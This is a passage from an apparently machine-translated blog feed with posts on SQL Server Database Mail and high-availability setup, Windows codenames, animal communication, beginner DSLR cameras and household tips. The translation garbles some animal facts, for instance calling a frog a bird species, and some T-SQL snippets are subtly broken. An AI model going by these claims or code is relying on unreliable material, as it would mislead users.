computer.\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02aYp5xdm8Kvr9OipqdlkaG5brDEn5iupKRirrG8y6KamqyZpLu0ec6nZKaZk2KwsLnPrqueqqM%3D\n","link":"/post/list-and-function-all-default-applications-on-mac-computers/","section":"post","tags":null,"title":"List and function all default applications on Mac computers"},{"body":"20H1 (2004 Update or May 2020 Update) is a major and very important feature update of Windows 10 in 2020, which is expected to be released to global users in May.\nThe 20H1 update, codenamed 'Vibranium', has not yet been officially launched, but the first information about the next 20H2 version has begun to be shared. According to the newly revealed information, the 20H2 update will be codenamed Manganese (Manganese, a chemical element in the periodic table with the Mn symbol and the atomic number of 25).\nYou may not notice it, but the code name for major updates to Windows 10 is usually given by a chemical periodic table. This is an idea put forward and unified by the Azure engineering team and the Windows 10. development team. So it's likely that after Manganese, the codename of the next Windows 10 update will be Iron (Iron) - a raw The chemical element in the periodic table has the symbol Fe and the atomic number equal to 26.\nIn the Preview builds of Windows 10, if you run the Get-VMhostSupportedVersion command in PowerShell, the operating system will list all supported VM configurations on the computer and can see the code name 'Manganese' displayed on the side. after the May 2020 Update.\nThe code name 'Manganese' is listed behind the May 2020 Update Similarly, the Preview builds of Windows 10 also refer to the Iron identifier. After the Manganese update is released in late 2020, the Iron version is likely to be released in early 2021.\nMicrosoft currently maintains plans to release two new feature updates for Windows 10 each year, sometime in May and October or April and November, depending on the actual situation. The Windows team is currently completing final testing and evaluation for Windows 10 20H1 (May 2020 Update) on the Release Preview Ring. If nothing changes, this update will be released to Windows 10 users around the world exactly in May.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZXpzfMdrZK2glWKzqr7SrWSippakv66t06Kmp2WZqHqzsdWemKWdlA%3D%3D\n","link":"/post/the-first-information-is-revealed/","section":"post","tags":null,"title":"The first information is revealed"},{"body":"SQL Server 2005 has a small mail system called Database Mail. Database Mail is an improved feature in SQL Mail compared to previous versions of SQL Server. With this feature you can set up multiple accounts as well as profiles to support email problems. What is Database Mail? Database Mail is a mail queue system. Email messages are stored in a queue within the database to be processed. When an email message is placed in the queue, an open process is activated to send messages in the queue to the appropriate mail server. When the email has been sent, an email message with the status of distribution will be sent back to SQL Server. Activate Database Mail Database Mail is not available when installed. From the SQL Server security model, some things are turned off by default, you need to enable Database Mail if you want to use it. You can use the Surface Area Configuration or T-SQL Server configuration tool below to enable Database Mail:\nsp_configure 'show advanced options', 1;\nGO RECONFIGURE; GO sp_configure 'Database Mail XPs', 1; GO RECONFIGURE GO\nAccount settings A Database Mail account shows how SQL Server 2005 must communicate with the SMTP server. The account specifies how the email is formatted and sent. An account will identify an SMTP server and the authentication method. The account used for Database Mail does not correspond to the login account of SQL Server. When setting up an account, you need to specify enough information so that SQL Server 2005 can communicate with the SMTP server and verify it if necessary. Refer to the data sources online for a complete list of options for defining an account. You can set up an account using the Database Mail Configuration Wizard, which can be found under 'Database Mail' in the 'Management' folder within SQL Server Management Studio, or by using the procedure. save (SP) 'sysmail_add_account_sp'. This is a code that uses the above SP method to create an account that allows communication with an SMTP server that does not require authentication:\n EXECUTE msdb.dbo.sysmail_add_account_sp @account_name = 'Database Administration Account', @description = 'Mail account for used by DBA staff', @email_address = 'ProdServer01@domainname.com', @display_name = 'ProdServer01 DBA Mail', @replyto_address = 'Greg.Larsen@domainname.com', @mailserver_name = 'mailserver.domainname.com';  This account is called 'Database Administration Account', and has an email address of ProdServer01@domainname.com . One of the advantages of using Database Mail is that this email address is not necessarily a valid email account in the mail system. In addition, you can combine a 'reply to' address with your database mail account. In my example above, I defined Greg.Larsen@domainname.com as @replyto_address . So when someone receives an email from any of my automated email notification processes they will be able to reply to it and the email can be sent directly to me. With Database Mail, you can set up multiple email accounts if you want. In the following section, I will explain some of the reasons why you can set up multiple Database Mail accounts. Set up profiles and link it to accounts Before sending a Database Mail to the distinguished SMTP server in an account, you need to associate the account with a profile and allow access to the profile. Database Mail profile is used to improve mail security. There are two types of profiles: public and private. Public profile is always applied to anyone who has access to msdb database and is a member of DatabaseMailUserRole in msdb database. Meanwhile, private profiles can only be used for special users who are allowed to access the private profile. A mail profile can be combined with one or more other accounts. You can manage profiles using the Database Mail Configuration Wizard, or use the same T-SQL Server command as set up for a mail profile below:\n- Create a Database Mail profile\nEXECUTE msdb.dbo.sysmail_add_profile_sp @profile_name = 'Database Administration Profile', @description = 'Mail Profile for use by DBA processes';\nHere I have created a profile named 'Database Administration Profile'. Having a profile created doesn't mean you can use this profile to send email. You still need to combine it with at least one Database Mail account and one user inside msdb data. To do that I can run the following two commands:\n- Thêm tài khoản vào danh sách\nEXECUTE msdb.dbo.sysmail_add_profileaccount_sp @profile_name = 'Database Administration Profile', @account_name = 'Database Administration Account', @sequence_number = 1; - Grant access to profile EXECUTE msdb.dbo.sysmail_add_principalprofile_sp @profile_name = 'Database Administration Profile', @principal_name = 'ProdServer01',\nThe first EXECUTE statement will combine my profile with an account. The second statement will combine the profile with the 'ProdServer01' msdb user database. These users need to be allowed to be members of DatabaseMailUserRole before they can send mail. When I combine this profile with a special user, this profile is interpreted as a private profile. To create a public profile you need to combine a profile with a 'public' database role.\nSend Database Mail SQL Server provides SP 'sp_send_dbmail' to send mail. The following syntax is used to call this SP:\nsp_send_dbmail [[@profile_name =] ' profile_name '] [, [@recipients =] ' recipients [ ; . n ] '] [, [@copy_recipients =] ' copy_recipient [ ; . n ] '] [, [@blind_copy_recipients =] ' blind_copy_recipient [ ; . n ] '] [, [@subject =] ' subject '] [, [@body =] ' body '] [, [@body_format =] ' body_format '] [, [@importance =] ' importance '] [, [@sensitivity =] ' sensitivity '] [, [@file_attachments =] ' attachment [ ; . n ] '] [, [@query =] ' query '] [, [@execute_query_database =] ' execute_query_database '] [, [@attach_query_result_as_file =] attach_query_result_as_file ] [, [@query_attachment_filename =] query_attachment_filename ] [, [@query_result_header =] query_result_header ] [, [@query_result_width =] query_result_width ] [, [@query_result_separator =] ' query_result_separator '] [, [@exclude_query_output =] exclude_query_output ] [, [@append_query_error =] append _query_error ] [, [@query_no_truncate =] query_no_truncate ] [, [@mailitem_id =] mailitem_id ] [OUTPUT]\nAs you can see, this SP supports a number of different parameters. Information on each of these parameters can be found in the online books.\nHere is an example of how I will use the private profile created above to send a simple email message regardless of the automatic database re-indexing process.\n EXEC msdb.dbo.sp_send_dbmail @profile_name = 'Database Administration Profile', @recipients = 'greg.larsen@databasejournal.com', @body = 'Reindex database process completed successfully', @subject = 'Reindex Database';  Database Mail handles all queues when running the above command, I will have a message that is sent saying that the mail is put into the 'Mail queued' queue. When you execute sp_send_dbmail, the mail is not sent immediately but instead it is stored in the mail queue inside the msdb database. This SP activates an extended mail process (DatabaseMail90.exe) to run. This executable reads the mail in the queue and sends it to the appropriate mail server.\nDifferent cases in account and profile use There are a number of different ways to use the advantages of multiple accounts and profiles that Database Mail allows you to do with them. One of the most obvious advantages of the multi-account feature is that you can configure your Database Mail profile to allow failover when one of the SMTP servers has problems. When adding accounts to a Database Mail profile you can provide them with a sequence of sequence_number. When sending a new email message, Database Mail tries to send it using the lowest string number first. If the sending process fails, Database Mail will use the next higher number sequence. Database Mail will constantly perform this task until the mail has been successfully sent or all accounts have been tried. Another option in this use is to support the delivery of mail messages to different email addresses. If you have many applications that need to send email, each application has its own email address. This will help the e-mail recipient to distinguish what process was sent by viewing the email address. In addition, if you use private profiles, you can combine these profiles with other security policies. That way will allow you to control the private profile, msdb users will be allowed to use a separate Database Mail profile. Check Database Mail SQL Server provides 6 different system windows in the msdb database for checking Database Mail information. These windows can be used to retrieve information in the msdb database that includes both the status of all Database Mail or only specific email messages. These windows are useful in distinguishing which mail has been processed as well as the reason why mail messages may not be delivered to the required mail server. They are the ideal tools that allow you to check and fix some Database Mail issues. For more details on these windows, you can find out more in online books. sysmail_allitems - this window allows you to return a set of records, including one row for each email message processed by Database Mail. sysmail_event_log - This window allows you to return a row for each Windows or SQL Server error message when Database Mail handles an email message. sysmail_faileditems - This window returns a record for each email message that has a status or failure. sysmail_mailattachments - This window contains one row for each sent attachment sysmail_sentitems - This window contains a record for each email that has been sent successfully sysmail_unsentitems - This window contains a record for each email currently in the queue to be sent or during the process being submitted. Maintain notifications in MSDB Database \n All email messages are stored in the msdb database, you must consider how to manage this information. Depending on the email memorization policies, you need to establish a periodic routine to clean up unnecessary email messages. SQL Server 2005 provides two different stored procedures to remove mail logs from the msdb database. sysmail_delete_mailitems_sp - This SP regularly deletes the email messages contained in msdb in the Database Mail table. sysmail_delete_log_sp - This SP deletes Database Mail log messages. You can view books online for more details about SP. T-SQL Server below will delete mail sent a month ago:\nDECLARE @delete_date datetime\nSET @delete_date = dateadd (MM, -1, getdate ()) EXECUTE msdb.dbo.sysmail_delete_mailitems_sp @ sent_before = @ delete_date \n Conclude \n Database Mail SQL Server 2005 is a major improvement in SQL Mail compared to previous versions of SQL Server. Database Mail provides a mail system with a lot of features to better protect and manage incoming mail using T-SQL. With Database Mail in SQL Server 2005, you don't need to build a solution for a solution using CDOSYS to send email. If you're looking to support email from T-SQL, consider Database Mail's features.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJqlnWWdlruis8Rmm5qskZeutLGMppiipA%3D%3D\n","link":"/post/use-and-manage-database-mail/","section":"post","tags":null,"title":"Use and manage Database Mail"},{"body":"Every animal in this world has its own language expressing the characteristics of each species. Below the surprising language of some animals will surely surprise you.\n\"Panda of the sea\", a rare planetary dolphin about to be eradicated next year What animal is the biggest crybaby in Earth 1. The cat only mews with humans   Cats will never purr when communicating with each other, they use body language, some strange sounds or hiss. Only when standing in front of a human or their mother, a new cat mews for the purpose of getting attention, to feed, to greet, or to ask out.\n2. The language of the prairie is more complex than that of humans   The prairie civet, or grassland squirrel, whose scientific name is Cynomys, is considered one of the smartest animals on Earth. According to the research results of scientists, the language of the prairie civet is even more complex than that of human language. Their language is not only for communication but also for sending a piece of information to the same type. With just a cry, they can inform, describe in detail the shape, size, color . of approaching hazards.\n3. Wood beetle uses Morse code to communicate   Wood beetles use a communication method similar to Morse code, a type of character code used to transmit telegraph information. It dips its head into one end of the tunnel to resonate to the end of the tunnel and transmit messages to the group.\n4. Elephants have their own voices and languages   Like us humans, each individual elephant also has a unique voice with opaque clarity and different colors.\nAndrea Turkalo, a biologist, who has studied a herd of elephants in the Congo for nearly 19 years, discovered that elephants have a very special language. Turkalo can identify an elephant in the herd with its cry.\n5. Hens and eggs can communicate with each other   In the animal world, maternal love is also very profound and sacred compared to humans. About a day before hatching, the chicks have now opened their eyes in eggs, they will be frightened. At this time, the mother chickens hear and will react to show their safety.\n6. Baboons hate slang   In a recent study, scientists discovered an interesting language trait of baboons.\nA group of 6 baboons were sent to the verbal tests for 6 weeks. They are considered words that include the original word and the meaningless word arranged as correct words. When asked to identify the right words and slang, baboons have passed these tests with an incredible accuracy of up to 75%! They even have manifestations of actions, cries that show they don't like slang words.\n7. Frog can say   The Huia Cavitympanum bird species of the Ranidae family lives in subtropical or tropical moist lowland forests of Southeast Asia. They can emit sounds at ultrasound frequencies and people cannot hear these ultrasound sounds. This frog has a concave eardrum on the side of the skull.\nThey can emit and hear sounds up to 38 khertz, while humans can only hear sounds at about 20kHz.\n8. Dolphins learn a second language   While performing at a water park in France, dolphins were exposed to the song recordings of whales.\nWhen studying the sounds of dolphins emitted when they slept, scientists discovered they were speaking another language. Strangely, this sound has a strange resemblance to the song of the whale, when they wake up, they never speak this language.\n9. Parrots can talk   Parrots do not imitate the sounds they hear unconsciously but they actually learn words and can talk. The most famous is the Prudle parrot that was recorded in the Guinness Book of World Records with the ability to remember 800 words until the time of death.\n10. Some fish species use sign language   To convey information to the same species, some fish species use their own sign language. Typically, the coral grouper shakes, they use fins to create gestures. When bait is successful, they will direct their nose into the prey and dance to signal the herd to have bait. This fish also does the same thing to call the herd for its prey.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5yKeaq52Unq%2BtsYyfmJyso2Kuo7vUrWSlmZ6cwqKzxKxkXn1iWoVxcZd7XH5qVW19ZoShZp%2Bor12Wu6q5wKWqZpuforq2usicmK2d\n","link":"/post/10-incredible-facts-about-languages-how-animals-communicate/","section":"post","tags":null,"title":"10 incredible facts about languages ​​- how animals communicate"},{"body":"Are you ready to take a new step compared to taking pictures on a smartphone or point-and-shoot camera? Here are the best DSLR cameras for beginners that you can buy right now.\nA beginner's DSLR is a new step, when you're no longer satisfied with the pictures taken from compact point-and-shoot cameras or smartphones. Today's article will help you find out what is the best DSLR for beginners, helping you take your photography skills to the next level.\nDSLR cameras for beginners make a big step forward in image quality compared to compact cameras or smartphones. Devices may have the same number of megapixels, but the size of a DSLR sensor is much larger in most cases, delivering superior results, with more detail and better low light performance.\nIn addition, DSLR cameras for beginners provide more manual control than smartphones and compact cameras, along with the ability to change lenses. Don't worry though, these cameras also come with a range of auto modes, which will help a lot until you are comfortable with the more creative control functions that DSLR cameras offer. grant.\nObviously, the more features you want to have on your DSLR, the more you'll pay - but do you really need them? There are cameras among the cheapest cameras on the market, but they still offer impressive image quality and performance, plus enough features to handle most photography practicals, especially if you are still in the learning phase\nTop 11 DSLR cameras for newbies DSLR packages for beginners The best DSLR cameras for beginners in 2019 1. Nikon D3500 2. Nikon D3400 3. Canon EOS Rebel T7i / Canon EOS 800D 4. Nikon D5600 5. Canon EOS Rebel T6i / Canon EOS 750D 6. Nikon D5300 7. Canon EOS Rebel SL2 / Canon EOS 200D 8. Canon EOS Rebel T7 / Canon EOS 2000D 9. Nikon D3300 10. Canon EOS Rebel SL3 / EOS 250D 11. Canon EOS Rebel T6 / EOS 1300D  DSLR packages for beginners If you're planning to buy your first DSLR, it makes sense to buy in sets, usually including a body with an 18-55mm lens. Often referred to as a 'kit' lens, this lens has a fairly wide zoom range, perfect for everything from landscape photos to portraits - but that's just the beginning.\n  Warning : Please observe carefully! Manufacturers will usually provide two types of lens kit, one with anti-shake function when taking pictures and the other without this feature. There's usually not much difference in price, so make sure to use a kit with a stabilized lens as it will help sharper images at slower shutter speeds.\nThese types of lenses are more than enough to get you started, but the main advantage of DSLRs over compact cameras is that you can add additional lenses (for example, wide-angle and telephoto zoom lenses, as well as high quality macro options). You can also add flash and other accessories, helping you make the most of every type of photography you take.\nThe best DSLR cameras for beginners in 2019 You don't have to spend a lot of money on a DSLR to get good processing equipment, great photography, and work with a wide range of lenses. In fact, you can usually save a fortune, if you're happy to choose a slightly older model. Manufacturers often keep these models when newer DSLRs appear, in order to offer users a choice between the latest technology and a better value option. Here, the article lists the best low-cost DSLRs, from the recently launched models to the much-loved older options.\n1. Nikon D3500   Sensor: APS-C CMOS Number of megapixels: 24.2MP Lens mount: Nikon DX Screen: 3 inches, 921,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 345 (VND 8,050,000) Advantages: Excellent image quality Easy to use  Defect: There is no touch screen control There is Bluetooth, but no WiFi  D3500 is the next generation D3400 model (below) and comes with some extra features. The battery life now allows you to shoot up to 1,550 shots on a single charge, far exceeding most other DSLRs, while the new 24MP sensor delivers great image quality. Nikon also modified the body layout and control buttons, not only making it easy to handle but also easier to use, while Guide Mode is extremely useful for beginners, introducing all features. main function in an easy to understand way.\n2. Nikon D3400   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Nikon DX Screen: 3 inches, 921,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 279.95 (6,530,000 VND) Advantages: Great battery life Single-shot AF (focus) mode good  Defect: No microphone port There is no touch screen  The Nikon D3400 has been replaced by the D3500, but the price of this product has not decreased. Possessing a range of features perfect for novice DSRL users, this is still a great camera to start on the road to conquering creative photography. Sharing many of the inside specs like the D3500, battery life is excellent, and images from the 24MP sensor won't disappoint.\nYou also benefit from Full HD video up to 60p and 5fps continuous shooting, along with wireless connectivity (via Bluetooth) to take your photos to the wider world without the hassle of cables. . Do not let the fact that it is not the latest model to disappoint you. There are many other notable outstanding features.\n3. Canon EOS Rebel T7i / Canon EOS 800D   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Canon EF-S Screen: 3-inch articulating touch screen, 1,040,000 dots Continuous shooting speed: 6fps Maximum video resolution: 1080p User level: Beginner / photography enthusiast Reference price: $ 539.95 (12,600,000 VND) Advantages: Great touch screen Great sensor  Defect: Plastic coating There is no 4K video  The EOS Rebel T7i (also known as EOS 800D) is among the top of Canon's series of EOS DSLR cameras for beginners. Equipped with a 24.2MP sensor that delivers high ISO performance, much improved over older models, the Rebel T7i's autofocus capability has also been enhanced, with a 45-point arrangement supported by the system. Excellent live view AF.\nThere is also a newly designed graphical interface, which will surely make this camera more attractive to new users. However, the absence of 4K video and the quality of external materials was a bit disappointing. Perhaps, the Canon EOS Rebel T7i is one of the expensive options for beginners - but is definitely one of the best.\n4. Nikon D5600   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Nikon DX Screen: 3.2-inch articulating touch screen, 1,040,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner / photography enthusiast Reference price: $ 519.95 (12,130,000 VND) Advantages: Excellent image quality Touch screen SnapBridge allows connecting the camera to a mobile smart device  Defect: Direct focusing is slow  The D5600 is a step up from the D3xxx models, with a more robust set of specifications than rivals such as the Canon EOS Rebel T7i / EOS 800D. Key advantages over the D3400 and D3500 include the larger LCD screen, which not only has the ability to flip and rotate but also the touch screen, along with the more advanced autofocus system, WiFi and a host of features. Useful additional controls on the inside.\nSure, you have to pay more for these features, but if you need a bit more development space, investing in the D5600 is a wise choice to accompany for years to come.\n5. Canon EOS Rebel T6i / Canon EOS 750D   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Canon EF-S Screen: 3-inch articulating touch screen, 1,040,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 459.95 (VND 10,730,000) Advantages: Great touch screen Have WiFi with NFC  Defect: Battery life is average Autofocus is not very good  The EOS Rebel T6i (also known as the EOS 750D) may have been replaced with the EOS Rebel T7i / 800D, but it is still a great option if your budget does not permit the purchase of newer models. Although the sensor is not as good as the T7i (despite having the same resolution), the Canon EOS Rebel T6i is still very good, with the most outstanding feature being the touch screen that can rotate many angles.\nHowever, the AF performance is not very good and the camera is not new enough to benefit from the more updated Dual Pixel CMOS AF system, which helps to focus quickly in live view and in video, but overall this is still A decent DSLR for beginners.\n6. Nikon D5300   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Nikon DX Screen: 3.2-inch articulating screen, 1,037,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 365.99 (8,540,000VND) Advantages: High resolution sensor, no aliasing Integrated GPS - rarely seen at this level  Defect: Slow live view Missing touch screen  The D5300 has been around for about a year, before the D5500 model was replaced technically (later, the D5500 was replaced by the D5600). The Nikon D5300 and D5500 have the same 24.2MP sensor with the same maximum ISO25,600 sensitivity as the D5500, while the EXPEED 4 image processor and the D5300's 39-point autofocus system have also been moved to the model. new.\nThe D5300 has no touchscreen control function, instead you have GPS. While the D5300's 600-shot battery life is not the best, it's still much better than many other mirrorless cameras. In general, the Nikon D5300 may not be the latest DSLR camera, but it is still a product to choose.\n7. Canon EOS Rebel SL2 / Canon EOS 200D   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Canon EF-S Screen: 3-inch touch screen that can rotate angles, 1,040,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 449 (10,475,000 VND) Advantages: Small size Easy to use  Defect: Battery life is only 380 photos  Canon has introduced the EOS Rebel SL1 (aka EOS 100D) to compete with the mirrorless camera series. The EOS Rebel SL1 is the smallest DSLR camera, when it was first introduced in March 2013. Now, the EOS Rebel SL1 is replaced with the EOS Rebel SL2 (EOS 200D), but its appearance is quite similar to the Rebel T7i / 800D.\nThis is not a bad option for new users, but there are better value alternatives at this time. The camera has recently been upgraded with the EOS Rebel SL3 / EOS 250D model, which adds 4K video recording and better battery life, but the EOS Rebel SL2 is a good choice, if you want to save money and comedy. content with Full HD video quality.\n8. Canon EOS Rebel T7 / Canon EOS 2000D   Sensor: APS-C CMOS Megapixel: 24.1MP Lens mount: Canon EF-S Screen: 3 inches, 920,000 dot Continuous shooting speed: 3 fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 399.95 (9,330,000 VND) Advantages: Easy to use The control buttons are placed appropriately  Defect: Old AF system There is no touch screen  This is one of the cheapest DSLR cameras in Canon's current lineup. The Canon EOS Rebel T7 is also a very cost effective way to gain access to a range of lenses, flashguns and flashes. The low price of the Canon EOS Rebel T7 means that it lacks some outstanding features like other competitors, but still has very good level of physical control, and most importantly, the image quality 24MP variable is quite okay.\nThe Canon EOS Rebel T7 is designed for a certain audience, with a Feature Guide to help you understand everything better and battery life is better than many other mirrorless camera models. at this price. WiFi, NFC and Full HD video recording make the Canon EOS Rebel T7 a perfect option for beginners.\n9. Nikon D3300   Sensor: APS-C CMOS Megapixel: 24.2MP Lens mount: Nikon DX Screen: 3 inches, 921,000 dots Continuous shooting speed: 5fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 299.95 (7,000,000VND) Advantages: Excellent image quality There is a guide mode  Defect: Fixed LCD screen Limited connection  Not everyone needs the latest technology and the D3300 is a perfect example of an old camera model, but still provides everything a new user needs for great photos. The 24.2MP APS-C sensor helps capture more details, while Full HD video recording works up to 50 / 60p.\nYou can also shoot at 5 frames per second (a very respectable speed), while the lens kit has a compact structure to keep it nice and compact when taken somewhere. Having been replaced by both the D3400 and D3500, the price of the Nikon D3300 also drops to a lower level, making it one of the rare models that possess both superior features and a reasonable price.\n10. Canon EOS Rebel SL3 / EOS 250D   Sensor: APS-C CMOS Megapixel: 24.1MP Lens mount: Canon EF-S Screen: 3 inches, 1,040,000 dots Continuous shooting speed: 5fps Maximum video resolution: 4K User level: Beginner Reference price: $ 610.59 (VND 14,240,000) Advantages: Beautiful JPEG photos right from the camera The cheapest DSLR with 4K video  Defect: The 9-point AF system is a bit old Rolling shutter (Shutter reading sequence by line) when recording 4K video is quite heavy  The latest camera on the list, the EOS Rebel SL3, also known as the EOS 250D, is described by the manufacturer as the smallest and cheapest DSLR camera with a movable LCD screen. The Canon EOS Rebel SL3 is also the cheapest DSLR camera capable of 4K video recording, enhanced by including a port for external microphones.\nOther features include Canon's excellent Dual Pixel CMOS AF system, a touch sensitive screen and compatibility with many great lenses. Unfortunately, Canon has maintained the same 9-point AF system from the previous EOS Rebel SL2 so it looks a bit outdated, but is a comprehensive tool for a reasonable price.\n11. Canon EOS Rebel T6 / EOS 1300D   Sensor: APS-C CMOS Megapixels: 18MP Lens mount: Canon EF-S Screen: 3 inches, 920,000 dot Continuous shooting speed: 3fps Maximum video resolution: 1080p User level: Beginner Reference price: $ 277.99 (6,483,000 VND) Advantages: Very small and light Reasonable prices  Defect: There is no 4K video LCD screen without touch  The Canon EOS Rebel T6 may have been replaced by the EOS Rebel T7 / EOS 2000D (above), but that means the EOS Rebel T6 (also known as EOS 1300D) is even cheaper. In many ways, the specifications are very similar to those of the new cameras, with the main difference being that the Rebel T6 has an 18MP sensor.\nWish you find a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51ksbS40WaamqWVp660ecWoqWaalZy2r7rEq6o%3D\n","link":"/post/dslr-cameras-for-beginners/","section":"post","tags":null,"title":"DSLR cameras for beginners"},{"body":"To bring a new feel when using the phone, besides changing the case or cleaning the phone, changing the wallpaper for smartphones is also the way many people use.\nIt is not difficult for you to own a phone wallpaper, it can be a pre-installed wallpaper on your phone or images you take in everyday life. If those images are not enough to satisfy you, please refer to some of our wallpapers below.\nIn this article, Network Administrator would like to send you a set of 100 beautiful photos with full HD resolution of many different topics such as super heroes, cartoon characters, characters in the game . extremely lively. Especially for those who are using models with large screen sizes, this wallpaper set is for you.\nHere are some compressed wallpapers for you to consult. If you want to download high quality wallpapers, please visit the link at the end of the article.\nThe 'muddy' phone wallpaper of superheroes Download a set of wallpapers for your phone with different themes Download now a set of funny wallpapers and qualities for smartphones Please read the link below to download more beautiful, high quality wallpapers.\nncG1vNJzZmismaXArq3KnmWcp51ks7a4y2afnWVioHp1t4ypn6imlWLEorjLqZipnaKoeri106FkppmernqjscCuq6KepaF6tbTEppysZZakv27Fzq5kraddqsCm\n","link":"/post/full-hd-2k-4k-phone-wallpapers-with-many-beautiful-themes-for-you-to-use/","section":"post","tags":null,"title":"Full HD, 2K, 4K phone wallpapers with many beautiful themes for you to use"},{"body":"High Availability (HA) is a solution / process / technology to ensure applications / databases are accessible 24/7 in any condition, whether intended or unexpected.\nBasically, there are 5 options to set up database availability in MS SQL Server.\nReplication Log Shipping Mirroring Clustering AlwaysON Availability Groups Replication The original data will be copied to the destination via the replication task (agent / job), using technology at the object level. Some terms need to know:\nThe publisher (Publisher) is the source server.\nDistributor (Distributor) is optional, storing the copied data to the subscriber (Subscriber). Subscriber is the destination server. Log Shipping The source data is copied to the destination via the Transaction Log backup task, using the database-level technology. Some terms:\nThe primary server (Primary Server) is the source server. Secondary server (Secondary Server) is the destination server. The monitoring server is optional, monitored by Log Shipping status. Mirroring Primary data is copied to secondary through network transactions with the help of projection and port number connections, using database-level technology. Some terms:\nThe original server (Principal Server) is the source server. The Mirror Server is the destination server. Witness Server is optional, used for automatic fault tolerance solutions. Clustering Data is stored in a common location, used by both primary and secondary servers, using technology at the instance level. You need to set up Windows Clustering on this shared storage. Some terms:\nActive Node is where SQL Services runs. Passive Node (Passive Node) is where SQL Services does not run. AlwaysON Availability Groups Primary data will be transferred to secondary through transactions, using technology at the database group level. Windows Clustering settings do not need common storage. Some terms:\nPrimary Replica is the source server. Secondary Replica is the destination server. Steps to configure High Availability for Mirroring and Log Shipping Below are the steps to configure HA (Mirroring and Log Shipping) except Clustering, AlwaysON Availability Groups and Replication.\nStep 1 - Get a full copy and a T-log copy of the original database.\nFor example:\nTo configure Mirroring / Log Shipping for the TestDB database on TESTINSTANCE as the primary SQL Server server and DEVINSTANCE as the secondary server, use the following query to get the full backup and T-log on the source server (TESTINTANCE).\nConnect to SQL Server TESTINSTANCE and open a new query, write the code below and execute as shown in the figure.\n Backup database TestDB to disk = 'D:testdb_full.bak' GO Backup log TestDB to disk = 'D:testdb_log.trn'    Query retrieves backup\nStep 2 - Copy the backup file to the destination server.\nIn this case we only have one physical server and two versions of SQL Server Instance, so we don't have to copy. But if two copies of SQL Server Instance are located in two different physical servers, then copy the following two files to the location on the secondary server, where DEVINSTANCE is installed .\n  Copy the backup file to the destination server\nStep 3 - Restore the database with a backup file on the destination server by selecting norecovery.\nFor example.\nConnect to SQL Server DEVINSTANCE and open a new query New Query. Write the following code to restore the database with the name TestDB, identical to the name of the original database. You can use a different name for Log Shipping configuration. Use the norecovery option to restore.\n Restore database TestDB from disk = 'D:TestDB_full.bak' with move 'TestDB' to 'D:DATATestDB_DR.mdf', move 'TestDB_log' to 'D:DATATestDB_log_DR.ldf', norecovery GO Restore database TestDB from disk = 'D:TestDB_log.trn' with norecovery    Restore databases with file saving\nRefresh the database folder on the DEVINSTANCE server to see that the database has been restored TestDB with recovery status as shown below.\n  Database recovery status\nStep 4 - Configure HA (Log Shipping / Mirroring) as shown below.\nFor example:\nRight-click on SQL Server TestDB database TESTINTANCE (root server) and click Properties. The screen below will appear.\n  Configuring Log Shipping / Mirroring\nStep 5 - Choose Mirroring or Transaction Log Shipping according to your needs and follow the steps provided by the system to complete the configuration.\nPrevious article: How to start and stop services in MS SQL Server\nNext article: Report creation service in MS SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ktaqzx2aYr5mZoa6jtcuiq7JlkauuqrjAm6CloaSuerCyjKaqZquhoXq0sdGvnKs%3D\n","link":"/post/high-availability-availability-of-ms-sql-server/","section":"post","tags":null,"title":"High Availability - Availability of MS SQL Server"},{"body":"It is convenient to have common icons such as My Computer, Recycle Bin on the screen, but it may be because \"it works\" so you accidentally \"disappear\" those icons. How to quickly retrieve those icons? We would like to guide you in the article below\nInstructions to delete Windows.old folder on Windows 7/8 / 8.1? How to change the login screen on Windows 8? Customize the login screen background on Windows 7 Add icons on Windows 10 From the desktop, right-click and select Personalize .\n  Next, you select the Themes menu in the left column and select Desktop icon settings in the right column\n  You tick the icons you want to appear outside the Desktop\n  Add an icon outside the Desktop on Windows 7, Windows 8 and Vista From the screen, right-click and choose Personalize \u0026gt;\u0026gt; Change Desktop Icons\n  In the Desktop icon settings window, you tick the icon you want to bring up the screen\n  In addition, there is another way to apply for Windows 7, go to Start menu , right-click Computer and select Show on Desktop .\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiecOeqqSsn6V6qq%2FOpw%3D%3D\n","link":"/post/how-to-add-a-desktop-icon/","section":"post","tags":null,"title":"How to add a desktop icon?"},{"body":"If during use it is found that the water in the bath or wash basin drains very slowly, maybe your house is blocked. The main cause is due to hair loss, soap bubbles and garbage after months of use or because of unintentional dumping of waste water into pipes, allowing grease to stick to the inside of the pipe. When the sewer pipe is clogged, in addition to causing sewage to escape quickly, it also makes the bathroom smell very uncomfortable. This must not be too strange for us, so you should not be too confused. Instead of having to spend money to call a plumber to repair it, you can first clear the pipes yourself with substances available in the house. Vinegar, baking soda, borax and hot water are simple but very effective substances to clear water pipes that are clogged with slow drainage. Invite you to consult!\nMethod 1: Prepare the culvert mixture 1. Drain the water in the sink or bath   If you notice the discharge of water in the bath or sink is too slow, you may have to wait a while. However, if the water is completely drained, the plumbing mixture will work more quickly and efficiently.\n2. Use the cleaners available in the kitchen   There are many options for making homemade drain and create a chemical reaction when combined. Most are related to the same type of vinegar to create a chemical reaction when combined. Check if you have the following drain switches:\nVinegar ( white vinegar or apple cider vinegar ) is the basic acid solution that causes a foaming reaction. Lemon 